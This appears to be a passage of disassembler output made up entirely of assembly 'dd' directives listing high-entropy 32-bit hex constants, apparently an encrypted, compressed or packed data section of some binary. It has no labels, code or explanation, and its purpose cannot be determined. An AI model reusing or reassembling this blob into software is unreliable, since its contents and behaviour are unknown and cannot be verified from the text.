		dd 0C46739D3h, 0E1D1C259h, 0F20E26E2h, 0CA8878A2h, 46252C54h
		dd 7D574CD3h, 5CE3E7D2h, 0A5A4D450h, 0FAD502A8h, 4AF4B240h
		dd 0FFF6323h, 8E8537CDh, 0D432396Bh, 4CC66856h,	0E9590A8Ah
		dd 8182190Eh, 0C61057EAh, 0F69D460Bh, 0CC1427Fh, 4B5E41BEh
		dd 543EC020h, 78FAEFC0h, 42962755h, 5C58A344h, 0ABC84F46h
		dd 2EBAE504h, 8A2CC903h, 86DDD828h, 0C206757Bh,	1C60260Fh
		dd 5B410980h, 360966F7h, 0BA396229h, 53402C6h, 7D840653h
		dd 0F7074B56h, 0F88F404Dh, 7B0DDB5h, 1A5E5954h,	680C838Dh
		dd 6E9C4BEh, 5F7C4FA1h,	5678C9Eh, 3207C557h, 29257258h
		dd 0B343AECFh, 0BE158EF3h, 4A65D9C8h, 7B6E974h,	1EA80A5h
		dd 0CB3FC237h, 0BE3E25BBh, 53DDA98h, 0E9765368h, 0B3C9B087h
		dd 2065A54Ch, 0FC1D9046h, 0B650588Ah, 4C3FE3D3h, 7AA49532h
		dd 9C6F04Dh, 326632E9h,	52FCDC10h, 6D155F41h, 45D51BCEh
		dd 60DDAA06h, 348695CCh, 0DF6D20Fh, 0E3A161FBh,	0CDDA5EF3h
		dd 4FAE8E80h, 0E9346958h, 4CE0A51Ch, 525C0BDAh,	5DB20132h
		dd 6B4E4349h, 4CA21F12h, 52E7899Fh, 0ADBE5345h,	0C08000FBh
		dd 9FE07ECh, 0AEC480CCh, 0BF0EE82h, 0AA035D05h,	1127037Eh
		dd 422C2218h, 0D3464C33h, 83D84931h, 14D6986Dh,	0EAC3BC85h
		dd 0B236335Dh, 4D0D0631h, 5803035Ch, 0DA0685Fh,	0CBADAF14h
		dd 2355EF7h, 3C51E400h,	80317CD7h, 204E4789h, 6CBF5C21h
		dd 2EB3AD03h, 0BB057D2Eh, 0BC7C144h, 3B562CD3h,	4698F095h
		dd 5DEF0F43h, 673C173h,	0A907E72Ch, 0C94C8B0Eh,	0E68B403Ch
		dd 89C91651h, 4CB5E3F9h, 9E023047h, 60087DA5h, 77402E18h
		dd 0A9A01938h, 4E161A28h, 0C9A0313Bh, 7FE927F9h, 0FB4FCC8Fh
		dd 4308DF8Ch, 68412EE3h, 78262D04h, 0B88A0C81h,	68894B4Ch
		dd 68CB164Eh, 80C2D3E3h, 0C1C3F0C3h, 66A9EBABh,	797CC968h
		dd 0F0B433FDh, 0AE32E5E3h, 95C7E02h, 81E125E9h,	0C6013E01h
		dd 45E56550h, 171E0C82h, 135C736Fh, 2DC4152h, 8897BA79h
		dd 0BD59C635h, 7EED0227h, 54B5BA46h, 0D3890111h, 23EB295Ah
		dd 69161125h, 2B14426h,	78E33F0Fh, 20998C70h, 84E67B69h
		dd 0D0E86DE9h, 2E68527Dh, 14992200h, 3E2C15Ah, 4AD226F7h
		dd 305800E6h, 0C98102A1h, 737E1109h, 9618A23Fh,	26B553DDh
		dd 0E1898000h, 78C2BB53h, 0B16BCD24h, 0A04C7303h, 7BCBB074h
		dd 36762533h, 884A368h,	0A7098028h, 0A9CDDC83h,	1CEA767Ah
		dd 9036B1CAh, 0C568AC82h, 3FB0F107h, 5E80732Dh,	626431BBh
		dd 40214927h, 7012F618h, 0CE485140h, 1043A79h, 0BCB9E9F1h
		dd 634768D7h, 4D125626h, 0C05EAAC2h, 75DD20Ch, 943523F3h
		dd 51A907Fh, 5C24DDBEh,	4E128DC6h, 3A4C0660h, 5B4F2608h
		dd 0AF2FA148h, 84E9AC18h, 0CBE0EB48h, 0B82C8952h, 7358C245h
		dd 5D22F383h, 0C57BE917h, 0A418BC22h, 0F4E317D4h, 557CE0D6h
		dd 7ED9EBA3h, 5DD7426Dh, 0FEE9CC69h, 8158DCE8h,	299AF10Eh
		dd 0CA090075h, 0C4EA8759h, 87CC927h, 3BB0055Bh,	1566828Ah
		dd 0C383105Ch, 0BDCF5E7Fh, 65203882h, 0EE010973h, 0E913E0E6h
		dd 9CA3FC3Dh, 683C054Fh, 5AFEB8D7h, 43182DDh, 68026628h
		dd 13E3A76h, 0A3CA4176h, 0BA49841Fh, 48BD583Dh,	304BA2E9h
		dd 0B6767C26h, 0F3310F11h, 0DAC88B3Eh, 580654A4h, 10BB680Bh
		dd 0E8016F66h, 0E9388A4Bh, 3587398Eh, 1B1FF6C6h, 3C630BAFh
		dd 0F87E4790h, 0C0846E5h, 88241482h, 0B7D4A951h, 8DE59F9h
		dd 5912C310h, 2C7D7AE6h, 94405F5Eh, 0D925C0F7h,	0CA40E7E8h
		dd 42E69AA8h, 4FFD96h, 8E91045h, 0E8292B5Dh, 438A96CEh
		dd 0EF015EDFh, 361062C1h, 11680AA5h, 6193CB3Eh,	7E851B1h
		dd 38DDAC7Eh, 73807015h, 17CBBA52h, 46B0267Bh, 5DF0A74Dh
		dd 4C5D6C27h, 1F1A88Ah,	932B0DFh, 4FE218F5h, 0E93A5FF2h
		dd 309255B1h, 3930122Dh, 59D70C27h, 0E9370BD6h,	1AE42221h
		dd 0F96A5B51h, 745DAEBCh, 9320AC21h, 0EF1B96Bh,	78C8E92Dh
		dd 0BC8C863Fh, 5D3CC23Ah, 0E0872A46h, 0B4B7E912h, 0A5C5414Fh
		dd 306C6263h, 11172B96h, 0F5807309h, 35E9EDD1h,	0CC7CF1A2h
		dd 94B7C8A8h, 51C2948Fh, 83455C5Ch, 5BB6F682h, 168911Ch
		dd 0A46ACE27h, 0D0E912A8h, 688BCC28h, 530574Bh,	0B51C41E9h
		dd 0F9850998h, 0B8FA6082h, 698C017Eh, 95485B2Dh, 5BE4274h
		dd 0BE80789h, 2292E568h, 2E418081h, 52F97125h, 0E95FFE80h
		dd 0C6912244h, 0BAF118BCh, 316CBE72h, 2B82C4Fh,	0E8310010h
		dd 97014E5Dh, 2D23D2A0h, 41CE8102h, 0DAE35FA4h,	0E5AD4A2Bh
		dd 0C200C0Eh, 520BCF31h, 8467B037h, 3D14C8C2h, 0AC0F4738h
		dd 388B5019h, 0E0406562h, 289602C6h, 534629ACh,	906B8462h
		dd 22081CCCh, 0E441165Ch, 3C0AF12Eh, 0E711A12Bh, 0D9225302h
		dd 39705CF5h, 0B142FBB0h, 40B88D5Ah, 6188C707h,	0E7603375h
		dd 4A8A40D6h, 27E9557h,	66A85EB6h, 30F0BEE0h, 8552C327h
		dd 0A9F4DAD2h, 42AC96B8h, 0B0BE797h, 0F12C3B67h, 2868DCEBh
		dd 0F02CD385h, 0B9696104h, 9F419618h, 4AC07318h, 565A058Bh
		dd 8C5EB6E9h, 0B0BD57EBh, 0E797D80h, 0E3817E14h, 5469C4BDh
		dd 0D40BF84Bh, 5F932C21h, 7410C301h, 0EBD879F3h, 9EB0030Fh
		dd 215FE9F2h, 5EF97F10h, 0F74108D3h, 8CC99B28h,	0B15E295Ch
		dd 7141D2ACh, 8204FBB5h, 5AA95A74h, 783459C6h, 1DFD0A7Bh
		dd 583CE797h, 0A809D611h
		dd 4E17965h, 0D8418868h, 55008FA2h, 56517597h, 3FAA70BEh
		dd 66DC8A68h, 0E5812D25h, 0E0C2095Ch, 4E9EBB2Fh, 9F29FE50h
		dd 0FD960A14h, 142DADCAh, 3818A7Ah, 75B87055h, 0B6B625Eh
		dd 0EE605043h, 122D6739h, 922CC02Bh, 1EEE836Eh,	81D64798h
		dd 2381FB1Dh, 0E3C16104h, 2EB4E20h, 29C4327Dh, 3ED81DE9h
		dd 8830B000h, 9F0458C3h, 2CD83A28h, 168E255Ah, 0EB2D73A1h
		dd 70C0E65Bh, 0CC5F280h, 0D7F6FA86h, 8A4D209h, 8867E925h
		dd 5CC478A1h, 0F8C28E85h, 0CB70E356h, 4CD4E36h,	0BBE51FFh
		dd 0FF9D0AC1h, 9470FE05h, 0ED07A6F8h, 0E4317B71h, 30ECA89Dh
		dd 624BAA5Fh, 6585C8Eh,	0E1935D3Fh, 76BFD17Bh, 4085213Bh
		dd 0D360CDCEh, 58C04F5Ah, 0B03E7333h, 12DFFFD2h, 0FD05E577h
		dd 88F02F8h, 638950F0h,	0BBEFE072h, 29442768h, 70A817E5h
		dd 41817C4Bh, 52E895Dh,	4954F650h, 5200F7A2h, 4B741ADBh
		dd 97555E3Fh, 54E62163h, 14D25909h, 0B7688822h,	9AEB9F5Ch
		dd 0DC6D4264h, 205DA49Fh, 79E7419Fh, 0E95E2FEBh, 0EE2826E2h
		dd 109F8B5Fh, 2D00504Eh, 21E457DEh, 0F5090540h,	0E58C885h
		dd 60C0727Dh, 9DCF281h,	1DFFB24h, 82FA2D0h, 98286E3Ch
		dd 238A13D0h, 0D1A70941h, 3108B288h, 386F34h, 0E0DEED80h
		dd 9588C4EBh, 15A0415h,	0A9EC4F85h, 0F9E90DD8h,	0B9018D9Eh
		dd 5B1D2E56h, 0FE5F1220h, 493D2F8Ah, 0F6046F96h, 3144432Fh
		dd 5DEA0E9h, 844B23A7h,	0FD57C461h, 796684A5h, 3EC45E0Eh
		dd 0E424AE52h, 1E4692C3h, 907C7C3h, 7B64CCBEh, 3060B53Dh
		dd 2C584B0Eh, 3FBC9BD1h, 0E56B0712h, 0CFC8CD0h,	0C4F16114h
		dd 176E770h, 2447295Ch,	68D92C3Ah, 4E66522Dh, 7A1582CEh
		dd 6344FD6Ch, 75C4FE74h, 965CB12Ch, 40E96174h, 57060517h
		dd 9DE4D595h, 926CD22h,	515BAB22h, 67FE987Dh, 6F2E215Dh
		dd 5392F21Ch, 4EDB4723h, 0CC71EFFh, 546722F3h, 0F266339Dh
		dd 48765891h, 834A3821h, 17D0EE97h, 315AEA9Dh, 0BBA29B59h
		dd 4D5B8D34h, 404B3D01h, 0AB4526E5h, 8D2EE91Ch,	9FE2B908h
		dd 60482D6Eh, 0BB04538Bh, 2CC2ABDh, 7016B1C2h, 4C685129h
		dd 4C5C6290h, 0B0525CE2h, 5E10E957h, 0BDBC94C2h, 0CB523EF7h
		dd 3A0C4C80h, 843D5F72h, 0A30712DCh, 5C583F15h,	5A4589FCh
		dd 12F220E2h, 0F1940598h, 6BDAB900h, 90297F18h,	44ABB064h
		dd 967BC571h, 0C70C81E5h, 352F7532h, 0A172CE7Ch, 2C7A5D08h
		dd 0ECA94678h, 16E605Ah, 0A4B68B4h, 5987E2E9h, 2184C829h
		dd 0D654C9D2h, 742B02C2h, 0D0607139h, 0B44A458Fh, 6BDC44C1h
		dd 31E93AF4h, 0A74D0301h, 0DF5C0378h, 44AEEDD4h, 1EC49C74h
		dd 0AB4E2CCh, 0C60ECBB1h, 0ADBF14D1h, 5187C2EAh, 0E35194B2h
		dd 0A15E7B04h, 3832827Ah, 0A2E61AA9h, 2B151BB6h, 0EEA44B99h
		dd 0D7785FA9h, 3F90F2F2h, 805BE648h, 0EEC4EB2Eh, 63492B12h
		dd 81F7C0CDh, 0A5E15CF5h, 0EAA78D3Dh, 0E98B4015h, 531D6064h
		dd 21D71C68h, 0FDBB7D29h, 5B1A8ACAh, 212E2A89h,	2CDAACEFh
		dd 0EBE797F7h, 0FD6C8334h, 0B2972E07h, 0E944B58Eh, 9CEEF0C9h
		dd 9478E411h, 0D52971D0h, 29AB605Ah, 59884200h,	48DBE781h
		dd 8B684F89h, 36B201BEh, 0EF0907B3h, 0DDCDED21h, 9D2B5C30h
		dd 4AE95681h, 0C424253Dh, 24BC383h, 302768CBh, 0B3DD8848h
		dd 0B05BDA88h, 3DE60B3Bh, 5204191Ch, 1AE00104h,	0EAE569B8h
		dd 776C6488h, 11B12993h, 5324CB0Eh, 0AD6312A9h,	31A8D2EDh
		dd 0D230E4D2h, 11C7B649h, 422C6B4Dh, 98BE9485h,	491EA0D7h
		dd 0F8A3534Ah, 0FE192579h, 3FF0D544h, 2C5F3D5Fh, 2C936D5Fh
		dd 1C76D800h, 4814BDEh,	0F039F3C6h, 28F6FC2Bh, 3EA108EEh
		dd 0B3129FD6h, 89714D8Bh, 0BBF2C01Eh, 0CE761652h, 630AC042h
		dd 27B45C0Dh, 5FA95304h, 4A1CCAC8h, 4DDFE3F7h, 82474920h
		dd 46E270E9h, 0A0D0A235h, 503DB79Ah, 7CFC7288h,	0DF6969E6h
		dd 47F3958Eh, 0D3E7B75Ch, 99053F31h, 5B0E3AAFh,	4A42E445h
		dd 630DD01h, 0AC426C4Eh, 0B254C27h, 5DAE5520h, 6850CF80h
		dd 2201A5B1h, 0C53158DCh, 0C43CEDE9h, 12131E5Fh, 9DF85694h
		dd 20C97D2h, 5C3882F3h,	5066C300h, 8095B551h, 0C2F3C52Dh
		dd 8457D98Bh, 0B26D6A68h, 0E14E734Ch, 0B8D4B0A3h, 495B1A52h
		dd 1A205870h, 2BABF781h, 890262E6h, 0E5C15FFDh,	7D8F6006h
		dd 113D580Ch, 2E77F500h, 8EE9B043h, 0A4F3594Ah,	36519069h
		dd 2ACC2D44h, 51634036h, 6A32EDEDh, 7608E15Bh, 1C42B226h
		dd 491D5DC5h, 8C6034E9h, 1A0F6855h, 0D867D977h,	32261388h
		dd 0D0C2160h, 89464B40h, 7092EE7Fh, 0E9095A9Eh,	96742C7h
		dd 5A8C59Dh, 0C358E530h, 60986F9h, 0ABFEE92Ch, 0E0264840h
		dd 0F8B98167h, 5F5C6328h, 263607D2h, 0D3AE6F72h, 0E5402086h
		dd 0A1B2E5CCh, 682CDD7h, 659AE9BFh, 1E02865Ah, 0F76D6121h
		dd 507941DBh, 1609DEDAh, 89384928h, 0ED8AC0CEh,	7CDF8202h
		dd 5EF0826Ch, 0BD7A5300h, 58D81560h, 14F24AE9h,	0EA0EA9EFh
		dd 5A2B30F7h, 9E593C20h, 0EB7ED115h, 165ECB06h,	4987D48h
		dd 49133FD8h, 217D8029h, 0E92F5AD0h, 0BFBCE044h, 1E4226D6h
		dd 0E0CF01A8h, 200A5F3Fh, 5E089C1Ah, 130132B8h,	752F829h
		dd 58E7216Ah, 0E9173315h, 0FCDA0AE1h, 0B1405090h, 5476E282h
		dd 343363ADh, 54823A73h, 352666B0h, 9EC3892Eh, 6C218925h
		dd 9A2AF860h, 0B2BE0C5Fh, 0EEBCF927h, 0E4427A0Eh, 0E3F6C00Bh
		dd 0C02CBF2Fh, 4EAF8B0Ch, 76942934h, 19C00417h,	79B4B151h
		dd 5DFEB080h, 0E34B36F8h, 0AFE9C229h, 95CBEEEEh, 8272AF8Fh
		dd 0FBF45DBDh, 0AC791AD1h, 4C36F206h, 0B34A52C8h, 237AA2A1h
		dd 0DB04EDECh, 4D58C521h, 2F0B52FCh, 0DD605188h, 0D4B161C4h
		dd 0A89B2D69h, 1DC88660h, 8A06ED08h, 1EC585Fh, 4E8E274Fh
		dd 18F93047h, 32AA1D03h, 48F4CCE9h, 620B6199h, 5A424FDBh
		dd 6EE0C75h, 0AFE8FF03h, 4B1879C7h, 0EF56C021h,	23640F25h
		dd 0C0E0D122h, 0DE300458h, 0EDF0285Bh, 0A19774D9h, 0AAC5F29Bh
		dd 0E62C57F5h, 5CC20352h, 5BD6F9F6h, 847509AFh,	47CC1374h
		dd 40300FB8h, 78A93869h, 0D7947F50h, 980B2DBBh,	80778A66h
		dd 0F700E0D1h, 2D8405D8h, 90011FBEh, 30142530h,	744C11D1h
		dd 290740F4h, 8B02FA78h, 66685A0Ah, 69E44638h, 9C408254h
		dd 411225BEh, 450D5A68h, 517C0D21h, 0C7427C27h,	7C49A345h
		dd 685E4C3Eh, 4F13E92Bh, 344B5B9Fh, 0FA5FE64Dh,	55DC1401h
		dd 6101F647h, 0E926DB1Ah, 0D7402FD4h, 3C22DC3h,	0C26095DFh
		dd 0E0FBD55h, 0E11DF24Ch, 8C467DE5h, 41DDCC30h,	0AF60D411h
		dd 0E1B8AFA0h, 78172EFAh, 0B1914429h, 0AE7D5D4Bh, 0B3DCB8D3h
		dd 10D1BFDh, 18F088EBh,	5D4A4652h, 2042C9F4h, 0C5B1DE22h
		dd 0D11C8B89h, 86E9617Bh, 0F3CD526Fh, 0E35B23E3h, 9009834Bh
		dd 81DCA0DCh, 2222D2Dh,	0C507D35h, 0C253C074h, 0CB88803Fh
		dd 0BF63C9EEh, 0F9FCB92Eh, 713C0852h, 71FA417Dh, 20343F28h
		dd 122118FFh, 4B243B60h, 3008A28h, 0E9B12CD2h, 81BDE708h
		dd 9ABB4494h, 41D42E12h, 3665EAB7h, 0ACD9CF94h,	0CBF369AEh
		dd 841D7957h, 0EE0BB0E9h, 575D8C32h, 0E917ED94h, 31D2070Eh
		dd 118C7D59h, 0C0B256D9h, 3966CA09h, 4DA87940h,	840F057Eh
		dd 321EDA2h, 0AC6235EFh, 7D0C0402h, 0F9587623h,	0A00841B6h
		dd 5D12140Ch, 2349E4E9h, 305E0632h, 0CBEC5807h,	0ECF95D7Fh
		dd 6D1BBA02h, 0F601AE3h
		dd 0B6280EC4h, 3A028F11h, 29DB2B37h, 77A442D1h,	3CAB5D11h
		dd 88500E11h, 58E642CCh, 60396259h, 9FD1406Bh, 0BEB28E46h
		dd 9F7B9CB5h, 13546129h, 21CF680Bh, 539BE9D3h, 6B84993Bh
		dd 0ADD59021h, 78A8EC04h, 200E974Eh, 76C813BBh,	5B3B1331h
		dd 82DFB259h, 66467A68h, 4D21F023h, 51807060h, 35087973h
		dd 4A25200Bh, 0B633034Dh, 0FB411249h, 9FF6073h,	4C04B929h
		dd 2AE3E947h, 4B7773ADh, 0F8B78512h, 7004049Bh,	0B6F4C388h
		dd 303D4A25h, 0B97C3579h, 713B2E59h, 77203E04h,	23A9EA29h
		dd 9955EFC5h, 0AE40BD3Ch, 0BD81A7BCh, 0F7B11D29h, 311F906Ch
		dd 0AD1ED3F0h, 0B9F6193Dh, 3B78FDD2h, 7013CA4Ch, 7F25F3BAh
		dd 0C113C64Eh, 4EADA413h, 7C37BC4h, 0BBE2A3BEh,	0C8F4C061h
		dd 4231F316h, 0ABF5096Bh, 0F7269B58h, 0EF1C8DDFh, 84180807h
		dd 15BD7E2h, 481DDA68h,	288006FBh, 5096EEE3h, 174640FCh
		dd 0B480C62h, 7527FD13h, 56157255h, 0B32F1E5Dh,	0CF766907h
		dd 6831E942h, 184BB360h, 64EEB80h, 2DDA68E2h, 836E688Eh
		dd 3B358031h, 8DC46E1Eh, 5AB0BE93h, 4D0502ADh, 522F4768h
		dd 83E4F8D6h, 403D4BE0h, 53C4314Fh, 2D006A60h, 4CD5E88h
		dd 0DB054807h, 29A275F3h, 0DEF442C2h, 0D86FCF71h, 6347E1C0h
		dd 39170535h, 5D0AF932h, 8F9FFFA5h, 410921A6h, 3BACE9ACh
		dd 0BA520D80h, 258B30E1h, 98D5313Eh, 0C7E74B63h, 9BFE480h
		dd 0F045866h, 0E40D7904h, 373A1752h, 0EEC18A4Ch, 1D00F708h
		dd 0E93C0374h, 2EC0BAF2h, 1338F729h, 160152F0h,	24F061Dh
		dd 8C137A41h, 400BC52Bh, 2CFD6126h, 986604FCh, 7ED87520h
		dd 66365DFAh, 2CA9B902h, 0F484302Ah, 5AD9E40Bh,	670CEAAh
		dd 862A5502h, 82DAF702h, 855EBBBAh, 0DED29C5h, 0B41F5CC5h
		dd 705B77EFh, 4B4AD78Bh, 0E9B155F3h, 44007A52h,	0E96C9657h
		dd 0D0BB4ACEh, 0A8F972C9h, 589F13Ah, 58C1015Fh,	2668B4E0h
		dd 692C73E2h, 5F6F989h,	2C8BE841h, 0B9580507h, 3BB4D697h
		dd 52AD4067h, 5090B207h, 0C5B4E1B4h, 0B169EDE8h, 44B14F9h
		dd 72EE598Bh, 0A1641888h, 0B0AB3420h, 17337C07h, 0B06611C1h
		dd 1DD626E6h, 49195CD1h, 0F8D95D92h, 24C5D0F0h,	10A8C643h
		dd 5567BF09h, 5DFCA417h, 0D3E5DAA4h, 0F4A3ACADh, 52256EF6h
		dd 6EA5B9C7h, 0CE919DFBh, 7AF4A66Ch, 97F11C16h,	0BD6FA6Ch
		dd 0B5594FC2h, 1492F3Ch, 1C5F21DDh, 0B19CD5ACh,	800CA2D4h
		dd 255AD0F1h, 2D3121F0h, 8984407Dh, 0E8C1202Dh,	7C47F007h
		dd 0E9B40CE4h, 0EBEDB10Dh, 6213EC04h, 75A05F4Ch, 0E2DD4ABDh
		dd 63D44A79h, 43ADE120h, 293B21A9h, 554A3C17h, 87C9BB52h
		dd 0CBCBA0B1h, 0C5FE10Ch, 89A0BE38h, 0E62AE9CAh, 0EE4BB80Fh
		dd 0A31FD2Dh, 0C174053Fh, 0CB30C0E3h, 9ECF2999h, 0CA432CD1h
		dd 700A26C2h, 0E4501716h, 0D70EEE2Bh, 0C005EA62h, 8B287FCEh
		dd 0DF0E9840h, 993EE12h, 18E2AD9Dh, 0E63A05Fh, 5A5A5860h
		dd 0BF33345Bh, 845C6270h, 205490C8h, 6D9FA9E0h,	0A7B624ECh
		dd 680097E5h, 460F3B74h, 4F905Bh, 22E11A06h, 0D2F7D687h
		dd 0DEBA08D8h, 0B8FA580Ah, 4B71C604h, 0F31DC110h, 0C8B0835Eh
		dd 4825426Dh, 0D74B73C0h, 2E0FDBA5h, 0B34BF400h, 255C05B5h
		dd 3B322664h, 29072D14h, 0D4BA4D5Ah, 95845877h,	0EF6907A6h
		dd 0EDC1801Ch, 0F020E128h, 5B54246Fh, 6852C1A1h, 0A041502h
		dd 17AD57C0h, 0CD2AE40Eh, 58C629A3h, 45EBEA9Eh,	0F0E6820Bh
		dd 2D63CA8Eh, 29927210h, 315802F6h, 9E6817C3h, 0DCF5CC11h
		dd 47677E55h, 0D043D5BBh, 0B32E5C3Bh, 0CD814F00h, 5F69361Fh
		dd 0C9F75155h, 0A5242D3Ch, 1A007ECh, 0C85699EBh, 0B626842h
		dd 0D190DE58h, 0BD90A64Bh, 2E7B40C6h, 2521526Eh, 0CAE9A849h
		dd 5F17EC74h, 915F448Ah, 40B9748h, 59127FACh, 926FEC30h
		dd 0B76C7CB1h, 3CDDE9A1h, 0CB2912F3h, 55891F03h, 8AA810D8h
		dd 68511D19h, 4B9B5241h, 5DF44959h, 96A0BBEDh, 63C9C739h
		dd 0BCBC9968h, 0DBFDC170h, 7E82BDEFh, 766B16F0h, 0D4CEB641h
		dd 0EA9D23E4h, 1C080D7Ah, 3DBC1405h, 0CFD821C6h, 59A8A295h
		dd 0EB0B0EE7h, 90716587h, 9FB35351h, 2EFB665Ch,	0BE8164ADh
		dd 3EA07B0Ah, 1CE7BBFCh, 43012751h, 0A4E95BD8h,	0F6C44896h
		dd 1C182CF8h, 287BDC2Dh, 0BCE5794Eh, 0B3B6461h,	0A052BE04h
		dd 1ECB814Ch, 0DA43EF08h, 7C742945h, 0C445210h,	0A17EE913h
		dd 56622AFCh, 4C7392CFh, 0F2C09517h, 263A44E9h,	1EEF1A69h
		dd 965AF134h, 0C957E2D7h, 97EA5008h, 3EEF7531h,	30E94828h
		dd 5A2CA8AEh, 0CF1EB151h, 0DACCCB28h, 9FCA370Bh, 0CF8BAFC5h
		dd 88A85111h, 10AC52Ch,	3916A7E8h, 0C83F709Dh, 0A74A6AABh
		dd 0CE217741h, 0E3DAD4EAh, 4BB5B87Dh, 8B61ED29h, 885D0800h
		dd 3493AC01h, 0A84548E9h, 69B35A30h, 0FE29628Bh, 0B57C4774h
		dd 0E4E9A081h, 95296EC6h, 0E90CCC23h, 0C13F30B7h, 55E6C276h
		dd 1902F1ECh, 0E9E47D92h, 2D5AF66Eh, 36324A9h, 20F6E4Ch
		dd 0E3E9597Eh, 808791A6h, 4C21CEE8h, 0B71C2C45h, 0DAE3E57Ch
		dd 0E4F51202h, 0DE3D3F1Fh, 0B31177Eh, 0B26189BEh, 0FAD42E07h
		dd 0CA921BEDh, 4D681FDEh, 25C946EFh, 0F3912D5Dh, 0F0E32155h
		dd 7B980637h, 4FC0484Dh, 508712E2h, 36A8E8B8h, 8C21D10Bh
		dd 687AC80Ch, 0C201804Ah, 27B628EEh, 0D3488927h, 401C42Bh
		dd 33F0A7E9h, 72D04C21h, 8933045Eh, 0A040FC34h,	0C5D72BE9h
		dd 800A0D20h, 5405567h,	12092490h, 84C70180h, 0B7B04A57h
		dd 0C49E915Ch, 0F7B391E4h, 0FFC760D7h, 0E7814702h, 0E3E8202Eh
		dd 762EEE1Dh, 0FA0127C0h, 0F083BB14h, 0F5279CF4h, 3905EF40h
		dd 1DB05943h, 0AF533FEEh, 6B546760h, 0C36E223Ch, 0D613A86Ch
		dd 46AA0EF5h, 9371260h,	0BB4AE9EFh, 12D00585h, 0B7103168h
		dd 64204A4Eh, 78564C59h, 0E80F5B05h, 0E71CAB71h, 8007EBCBh
		dd 95092B80h, 812CB20h,	0F416AE72h, 34EDDF0Ah, 0DE53725Ch
		dd 5EC5FB11h, 5C045E8Eh, 8166D020h, 292B3649h, 6EA0782h
		dd 0DCC95EF6h, 0CEF58B1Bh, 0BFA4E159h, 0CD617B0Ch, 9A4D98C7h
		dd 506816F5h, 0F5B6CD65h, 4F757E10h, 0B7048D8Bh, 0BFDFF647h
		dd 6841D167h, 0D02B6D08h, 0E92FB596h, 5105225Fh, 1D83D8F7h
		dd 24B89DCFh, 69DA01B2h, 3F3C8600h, 81EDD113h, 86F664E5h
		dd 0EEE4816Dh, 7CCD6142h, 0E4F24B7Eh, 508E5E0Fh, 0BB010136h
		dd 2F16821Dh, 0F5A06B16h, 5D0BA1C6h, 0E9A05978h, 0A4B5BF67h
		dd 48FCF8CEh, 20024E79h, 0F312D6FCh, 490C2B61h,	9320C726h
		dd 87ED0FDh, 16623D50h,	167DF5Dh, 0A51BB531h, 0B2123066h
		dd 370B4F13h, 0A1EFEAB0h, 142E5E08h, 0FB7E896Ah, 0B4D8A7FDh
		dd 0FD291CC3h, 0D551655Fh, 14D4E986h, 0C6EEF194h, 0C0689DD9h
		dd 0FEB8EFB1h, 0F75DA87Ah, 0D5CD4B7Fh, 47680D89h, 0B88945Ah
		dd 0EC99BAE9h, 0AF97ED09h, 0D31B6654h, 0BBBD0116h, 0B93D4903h
		dd 980BA4BFh, 0E1025DA4h, 0E201B764h, 237C4178h, 0F14F6366h
		dd 457BC2CEh, 1BBA5280h, 0B0499F64h, 0F65FA1CBh, 0FD945B59h
		dd 0AD162766h, 77BBEDD1h, 5D5D7932h, 521BDEF5h,	0BB02D484h
		dd 73F0DE35h, 0D6782CE9h, 6856B044h, 4B94400Bh,	696FE941h
		dd 0D2DD119Dh, 41EAC3B4h, 37D057EAh, 0D0273F99h, 593C42DBh
		dd 0C4B6098Eh, 244D8968h, 21FA3B80h, 633D60h, 386482BDh
		dd 59FB4542h, 0B924597Ch, 2740E2Ah, 37BDCB7Eh, 0D10AFCFBh
		dd 5460AF7Dh, 0B5EFF3E9h
		dd 80313214h, 0A0E117B5h, 0F62D39C0h, 68FEA8A6h, 4F6458F9h
		dd 0DC2151CFh, 73536F41h, 1AE0844Dh, 0EB8DA012h, 89C32C3Ch
		dd 9DF299Dh, 0F68DC29Bh, 848BCF96h, 405DE1C0h, 68713095h
		dd 0DB763E5Bh, 3E9D9E3h, 0F2012D1Dh, 20AD4DDDh,	0B240F538h
		dd 0E956F675h, 26A0FE54h, 14741A8h, 4C7F283h, 0FC9640BEh
		dd 5F270315h, 780B990h,	334EE95Bh, 4166F307h, 0EEC1E22Fh
		dd 19335DBBh, 43DE93F7h, 0EDD829C1h, 0E12DF55Bh, 1089406h
		dd 0A80B13E4h, 3B04A3A3h, 0F91CE24Eh, 55670121h, 542964F3h
		dd 6C2910BEh, 40EF200Ch, 0A4BE2941h, 0DA5FB203h, 0EEF60110h
		dd 0E9300C35h, 6362254Ch, 292D7A3Fh, 51AD2B28h,	57DE1FBCh
		dd 680F420Ah, 15466AB6h, 0E4ACB55Bh, 0E8287F0Ah, 6BA25BF2h
		dd 7A3AEDD4h, 9A319F4Ah, 38E960B6h, 3B66F0C0h, 2814B753h
		dd 715C8CF8h, 50520077h, 0E8C058B0h, 42B8FE03h,	0C8167674h
		dd 414951E9h, 0CBA15166h, 0E958DD5Eh, 0D4D25415h, 3DE23A68h
		dd 0B2D3135Bh, 0ED8382FAh, 6BB25702h, 15206ADAh, 6BB80463h
		dd 0C21C5E68h, 0A880D90Bh, 0CFE2E90Ch, 6834A1B7h, 383B104Fh
		dd 0E917D364h, 46233A9Fh, 0F3BDB0F5h, 0CC5AFA29h, 682F8821h
		dd 9872D625h, 166A28D8h, 0A8094725h, 0E0569221h, 68F164F9h
		dd 4FD4D2D0h, 48A5C160h, 1323BA88h, 0F55FF821h,	3FEBD1B1h
		dd 1659C6DCh, 0BDDA96E9h, 889723FCh, 792DA14Dh,	138AACB0h
		dd 0D32FA954h, 196C7200h, 49E9180Ch, 0F64E8030h, 0B18843Ch
		dd 47B85003h, 6A5BBF99h, 0D95AD509h, 0AAE98B92h, 1C5D7D42h
		dd 0C0772026h, 32786473h, 73A53E2Ah, 0D38304B5h, 5A0E521h
		dd 8389308Ch, 7BF814EAh, 93F15E5Ah, 9608E1C8h, 95CDC470h
		dd 350DBEB7h, 0EFD4AF2h, 0E92C7E20h, 6897907Bh,	35CD508Ch
		dd 21608F6Ah, 0CA267FEh, 2EFEAA57h, 20E616B8h, 1C0A42AEh
		dd 7112614Ah, 0B8062405h, 8D3FA429h, 61B8AD5Dh,	397B5F72h
		dd 458D3464h, 4AB3324Bh, 6A0B441h, 2F6770DBh, 0B4706298h
		dd 0A9B8C5D2h, 4C19A3F4h, 241C2069h, 16A7C601h,	0C51A913Dh
		dd 8F420313h, 119292D5h, 40CDEA4Dh, 3F043B62h, 6990349Dh
		dd 845E2D0Ch, 6A906E67h, 941BED68h, 6E50590Ah, 195837C0h
		dd 0D5F73037h, 2A85E904h, 0E7039691h, 0DB71615Eh, 541712CBh
